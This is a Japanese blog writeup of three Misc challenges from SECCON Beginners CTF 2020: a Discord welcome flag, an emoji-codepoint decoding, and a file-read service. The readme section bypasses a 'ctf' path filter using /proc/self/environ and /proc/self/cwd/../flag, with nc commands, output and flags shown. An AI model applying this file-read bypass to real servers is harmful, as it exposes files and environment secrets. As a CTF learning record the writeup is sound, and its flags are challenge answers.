セキュリティ技術メモブログ

日々の活動を記録する場所

SECCON beginners 2020 Writeup(Misc)

はじめに

SECCON beginners 2020に個人で参加。
時間内に解けなかった問題も他の方のwriteupを参考にして、 自分の言葉でwriteupを書いていくことにする。
まずはMiscジャンルから。

[Misc] Welcome(Beginner)

問題

Welcome to SECCON Beginners CTF 2020!
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。

解法

[Rules]を見ると、DicordのURLが記載されている。 f:id:Paichan:20200524142651p:plain ここにアクセスしてフラグ発見。 f:id:Paichan:20200524142741p:plain

ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

[Misc] emoemoencode(Easy)

問題

Do you know emo-emo-encode?

以下添付ファイルの中身。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

解法

「emoji encode」などで検索していると、以下のサイトが見つかる。 apps.timwhitlock.info unicodeらしい。CyberChefRecipeTo Charcodeをセットして出力を確認する。 f:id:Paichan:20200524144432p:plain どの絵文字も共通して01f3から始まっている。
フラグフォーマットである、ctf4b{を変換してみると、絵文字の下二桁をとったものと一致していた。(01f363 01f374 01f366 01f334 01f362 01f37bf:id:Paichan:20200524144826p:plain

後は、01f3を取り除いたものを、From CharCodeに食わせるだけ。 f:id:Paichan:20200524145246p:plain

ctf4b{stegan0graphy_by_em000000ji}

[Misc] readme(Easy)

問題

readme nc readme.quals.beginners.seccon.jp 9712

添付されているzipからはserver.pyが解凍された。

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

解法

/home/ctf/flagにフラグがあるが、入力にctfが含まれていると、Path not allowedが表示されるらしい。確認してみる。

root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712
File: /home/ctf/flag
[-] Path not allowed

確かに。ctfという文字列を使わずに、このファイルにアクセスする必要がるようだ。 前に参加したCTFで以下のページの記憶が残っていたので、/proc/self/ディレクトリを駆使すれば解けそうだ。 web.mit.edu

/proc/self/ディレクトリは、現在実行中のプロセスのリンクであり、プロセスの状況を把握するために活用できる。
勉強がてら/proc/self/ディレクトリ配下を色々調べてみる。

  • cmdline:プロセスを開始する時に発行されるコマンドを含む。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cmdline
python3./server.py

どこかのディレクトリで、server.pyが実行されていることが分かる。

  • environ:プロセスの環境変数の一覧を表示。環境変数はすべて大文字で、値は小文字で表示される。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=28595SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=126.0.26.69SOCAT_PEERPORT=55925

環境変数が表示される。PWD=/home/ctf/serverよりserver.pyが実行されているディレクトリがわかった。

root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

こんな階層ってこと。

― /home
  ❘__ /ctf
     ❘__ flag
     ❘__ /server
         ❘__server.py
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}